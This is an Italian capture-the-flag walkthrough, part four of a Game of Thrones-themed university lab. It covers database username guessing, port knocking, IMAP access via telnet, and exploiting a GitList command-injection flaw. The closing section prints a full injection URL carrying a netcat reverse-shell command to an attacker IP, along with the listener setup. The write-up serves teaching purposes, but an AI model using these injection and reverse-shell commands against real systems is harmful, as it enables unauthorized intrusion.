Capture the Flag: tra database e server e-mail, ecco come identificare le vulnerabilità

La Capture the Flag (CTF) è una delle tecniche più utilizzate dai team di hacking per ricercare vulnerabilità nei sistemi e nei software. Si tratta, in particolare, di una competizione virtuale in cui bisogna “catturare” tutte le bandiere disseminate sul terreno di gioco (il sistema target delle nostre analisi)

L’articolo tratta la quarta parte della CTF (Capture The Flag) basata sull’universo di Game of Thrones, che ho avuto il piacere di svolgere come lezione per l’Università degli Studi di Perugia, in collaborazione con i Professori Stefano Bistarelli e Francesco Santini (a seguenti link, rispettivamente, la prima, seconda e terza parte della CTF).

Capture The Flag: continua la conquista dei regni

Dopo un’aspra lotta lungo le strette vie ed i tortuosi corridoi di PostgreSQL, eravamo riusciti a conquistare il regno della Montagna e della Valle, ma non era ancora giunto il tempo di lasciare questi luoghi poiché un ultimo enigma si celava fra queste terre.

All’interno della tabella braavos_book eravamo riusciti a decifrare il messaggio al punto 9, cifrato con una chiave ROT16, che ci suggeriva di connetterci ad un altro database dal nome braavos con la password ValarMorghulis. Tuttavia, ciò che ancora ci mancava era il nome utente con il quale effettuare l’accesso. A questo proposito il messaggio recava un ulteriore indizio: il nome utente che stavamo cercando era presente all’interno della tabella aryas_kill_list.

Effettuai quindi una nuova SELECT al fine di prendere nota dei nomi:

mountainandthevale=> SELECT * FROM aryas_kill_list;

L’output del comando mostrò la lista dei nomi e la motivazione per la quale erano stati condannati a morte:

Decisi di scoprire quale fosse il nome utente per accedere al database di braavos effettuando un veloce “bruteforce”. Come prima cosa creai il file degli utenti, poi utilizzai il comando vim aryas_kill_list.txt , incollai i nomi dei condannati presenti nella tabella ed infine uscii digitando :wq .

Dal terminale digitai i seguenti comandi in bash:

cat aryas_kill_list.txt | while read user; do psql -h 192.168.178.80 -d braavos -U “$user”; done

dove:

• cat aryas_kill_list.txt : mostra a video il contenuto del file aryas_kill_list.txt (contente la lista dei nomi utente)
• | : inoltra il risultato al successivo “comando” (in questo caso al nostro script)
• while read user; : per ogni riga (che nel nostro caso contiene il nome utente)
• do : esegui il seguente ecomando
• psql -h 192.168.178.80 -d braavos -U “$user” : connettiti al DB di nome braavos, presente all’IP del nostro host (la macchina della CTF), utilizzando il nome utente presente all’interno della variabile user
• ; done : termine dello script

Appena diedi invio, il comando si interruppe alla 5 riga chiedendo la password per lo user-name: TheRedWomanMelisandre.

Interruppi lo script utilizzando la combinazione di tasti Ctrl+C e questa volta digitai esclusivamente il comando per connettermi al Database braavos:

psql -h 192.168.178.80 -d braavos -U TheRedWomanMelisandre

Digitai la password in nostro possesso: ValarMorghulis e finalmente riuscii ad entrare nell’agognata città di Braavos. Non mi rimaneva che dare un’occhiata attorno digitando il comando d . Scoprii che era presente un’unica tabella di nome : temple_of_the_faceless_men . Con una certa apprensione digitai la SELECT sulla tabella:

braavos=> SELECT * FROM temple_of_the_faceless_men;

Finalmente ottenni la flag segreta della città!

Era giunta l’ora di lasciare per sempre il regno della Montagna e della Valle e dirigerci verso il prossimo regno dell’Altopiano.

Durante la parte III, eravamo riusciti a reperire qualche indizio sul prossimo regno:

Sapevamo anche, dalla mappa generale dei regni, che il regno dell’Altopiano era rappresentato dal protocollo IMAP.

L’Interactive Mail Access Protocol è un protocollo di comunicazione ideato nel 1986 da Mark Crispin, per la ricezione di email da parte di un dato client. A differenza del protocollo POP, è possibile conservare copia delle proprie e-mail sul server e scaricarle da qualsiasi altro dispositivo configurato per l’accesso.

Bene, conoscevamo la direzione ed avevamo anche delle credenziali, il problema era che la porta di ingresso era sbarrata da un firewall software, anche conosciuto come Host Firewall. Si tratta di un Software installato solitamente su un singolo dispositivo (ad esempio una macchina virtuale che ospita il software) che permette di abilitare o bloccare la connessione di determinate applicazioni.

Difatti, da una rapida scansione con NMAP, lo stato della porta risultava filtered.

Per dirimere questo enigma dovetti fare mente locale ad un vecchio indizio…Durante la Prima Parte della nostra avventura “Il Corvo Dai Tre Occhi”, Bran Stark ci diede tre indizi, di cui il secondo erano tre gruppi di numeri: 3487 64535 12345: Ricorda questi numeri, dovrai utilizzarli con persone “POLITE”, capirai quando farne uso”.

Il momento di farne uso era infine giunto. Il Port-Knocking è un sistema per aprire delle porte su un firewall dall’esterno, inviando tentativi di connessione ad una sequenza prestabilita di porte chiuse; una volta che ciò avviene, le regole del firewall vengono aggiornate dinamicamente per consentire all’host che ha inviato la giusta sequenza di connettersi alla porta chiusa.

Quindi, il nostro indizio non erano altro che tre porte a cui avremmo dovuto tentare l’accesso in sequenza per permetterci di aprire la porta IMAP 143 a cui desideravamo connetterci.

Per farlo utilizzai il comando:

knock -v 192.168.178.80 3487 64535 12345

dove:

• knock : invia una richiesta di connessione (“bussata a”)
• -v : verbose
• 192.168.178.80 : L’indirizzo IP della nostra macchina CTF
• 3487 64535 12345 : La sequenza di porte a cui effettuare “la bussata”.

L’NMAP successivo rivelò che il nostro tentativo aveva avuto successo. Difatti la porta 143 del protocollo IMAP era passata da un precedente stato di filtered ad uno di open .

Era giunto il momento di entrare e per farlo utilizzai il più tradizione dei protocolli a riga di comando per il login remoto: Telnet.

telnet 192.168.178.80 143

dove:

• telnet : comando per avviare una sessione Telnet ad un host remoto
• 192.168.178.80 : IP a cui vogliamo connetterci
• 143 : Porta su cui desideriamo stabilire la connessione

Ci accolse un banner che indicava che avevamo appena varcato l’ingresso nel nuovo regno.

Bene, la prima cosa che avremmo dovuto fare era identificarci. Eravamo in possesso delle credenziali forniteci al momento della conquista del Regno della Montagna: olennatyrell@7kingdoms.ctf/H1gh.Gard3n.powah

Quindi digitai sul terminale:

>a login olennatyrell@7kingdoms.ctf H1gh.Gard3n.powah

Il messaggio successivo ci indicò che il login era avvenuto con successo. Eravamo a tutti gli effetti all’interno di un servizio di posta IMAP e ci eravamo appena identificati con un nome utente ed una password, quindi ora ci aspettavamo di trovare dei messaggi nella casella di posta.

La prima cosa che feci fu vedere come era composta la casella di posta del nostro utente, listandone il contenuto, con il comando:

>. LIST “” “*”

Nella più tradizionale delle mailbox, avevamo un cartella “Trash”, una “Draft”, una “Sent” ed infine la casella “INBOX”.

Le varie cartelle risultarono vuote una dopo l’altra. Solamente la cartella INBOX aveva un messaggio “non letto”.

>a SELECT INBOX

Decisi quindi di leggere il messaggio:

>. fetch 1 body[]

Ed esattamente all’interno di quel messaggio era contenuta la flag dell’Altopiano!

Fu così che navigando all’indirizzo http://192.168.178.80:1337 giungemmo dinanzi ai cancelli dell’ultimo dei Regni da conquistare. La maschera di LogIn ci chiedeva uno User ed una Password che avevamo appena ottenuto:

User: TywinLannister

Pass: LannisterN3verDie!

Il nostro ultimo regno era (come ci aspettavamo dalla mappa dei regni) rappresentato da GitList. Al suo interno vi erano tre folders:

• casterly-rock
• dothraki
• madking

dothraki e madking contenevano informazioni rispettivamente sulla razza dei Dothraki e sulla storia di Aerys II Targaryen, il Re Folle.

Casterly-Rock conteneva invece il nostro prossimo indizio:

Di per sé non era una grande notizia, la strada era sbarrata. L’unico indizio era offerto dalla “Nota sotto il letto”. Per tradurre l’incognita riga che conteneva numeri e lettere, in un range da A a F (cosa che faceva pensare che il messaggio fosse in esadecimale) utilizzai xxd , un tool che crea un dump esadecimale, che può essere utilizzato con la sua opzione di reverse per convertire da esadecimale ad ASCII.

echo 2f686f6d652f747972696f6e6c616e6e69737465722f636865636b706f696e742e747874 | xxd -r –plain

dove:

• echo : riproduci sullo standard output
• 2f686f6d652f747972696f6e6c616e6e69737465722f636865636b706f696e742e747874 : il nostro indizio da tradurre
• | : pipe, per passare il risultato al comando successivo
• xxd : comando
• -r : opzione di reverse, per tradurre da esadecimale a ASCII
• -plain : output in postscript

Il risultato fu il percorso di una directory: /home/tyrionlannister/checkpoint.txt

Dovevamo adesso trovare “l’altro ingresso”. C’era forse una vulnerabilità all’interno di GitList che potevamo sfruttare?

Come fatto in precedenza, effettuai una breve ricerca utilizzando il comando

searchsploit GitList

Apparvero quattro risultati:

Decisi di procedere dando un’occhiata al primo codice python della lista:

Gitlist 0.4.0 – Remote Code Execution – multiple/remote/33929.py

Utilizzai il comando locate al fine di identificare il percorso dell’exploit.

/usr/share/exploitdb/exploits/multiple/remote/33929.py

Diedi una rapida occhiata al codice che faceva riferimento alla CVE-2014-4511, effettuai una breve ricerca su Internet e diedi una lettura al seguente blog.

La versione pareva affetta da una vulnerabilità, dovuta in parte ad una mancanza di “sanitizzazione” dell’Input all’interno dell’URL. Lo stesso codice dell’exploit (33929.py) confermava la vulnerabilità:

Era sufficiente inserire all’interno dell’URL due doppie virgolette ed un accento grave: “”`

Decisi che valeva la pena fare un tentativo ed utilizzai la codifica esadecimale dei caratteri che affliggevano la vulnerabilità:

• ” : equivale a %22
• ‘ : quivale a %60

Quindi mi spostai sul browser ed all’interno dell’URL digitai il percorso:

http://192.168.178.80:1337/casterly-rock/blob/master/

Inserii la sequenza della codifica esadecimale dei caratteri:

http://192.168.178.80:1337/casterly-rock/blob/master/%22%22%60

A questo punto, se la vulnerabilità era sfruttabile, avremmo potuto injectare il comando da eseguire, al fine di ottenere una reverse shell sulla macchina, dopo la sequenza dei caratteri “bad”.

Nel momento in cui avremmo dato “invio”, il passaggio di decodifica all’interno dell’URL avrebbe tradotto per noi l’esadecimale negli equivalenti caratteri bad che innescavano la vulnerabilità ed eseguito il nostro comando:

http://192.168.178.80:1337/casterly-rock/blob/master/%22%22%60[comando]%60

Decisi di tentare l’accesso alla macchina. Il nostro comando per ottenere la reverse shell sulla macchina, sarebbe stato:

nc 192.168.178.3 5555 –e /bin/bash

dove:

• nc : netcat
• 192.168.178.3 : IP della nostra macchina attaccante
• 5555 : la porta della nostra macchina attaccante
• –e : nel momento della connessione…
• /bin/bash : …esegui la shell

Quindi riscrissi l’URL con l’injection completo:

http://192.168.178.80:1337/casterly-rock/blob/master/%22%22%60nc 192.168.178.3 5555 -e /bin/bash%60

Prima di eseguirlo però, avremmo dovuto metterci in ascolto sulla nostra macchina attaccante:

nc –nvlp 5555

dove:

• nc : netcat
• –n : solo da indirizzi IP e non DNS
• v : verbose (dettagli aggiuntivi nell’output del comando)
• l : in modalità listening (ascolto)
• p : porta da utilizzare
• 5555 : la porta sulla quale attendiamo la connessione della vittima

Quando diedi invio, quasi istantaneamente, ricevemmo la nostra Revers Shell sulla porta 5555!

Digitai ls al fine di listare il contenuto nella directory:

Secondo l’indizio che avevamo trovato nella “nota sotto il letto” il file che cercavamo era contenuto all’interno della directory: /home/tyrionlannister/

Senza indugiare oltre diedi il comando: cd /home/tyrionlannister/ listai ancora il contenuto della directory e dopo essermi accertato che il file checkpoint.txt fosse presente, eseguì un cat per visualizzarne il contenuto.

Quindi la flag non era qui, ma ad Approdo del Re e secondo la mappa dei regni, Approdo del Re era rappresentato dal servizio mysql.

Fu così che, mentre le prime luci dell’alba rifulgeva lungo i declivi dell’ultimo regno, ci dirigemmo in solenne silenzio verso Approdo del Re.

To be continued…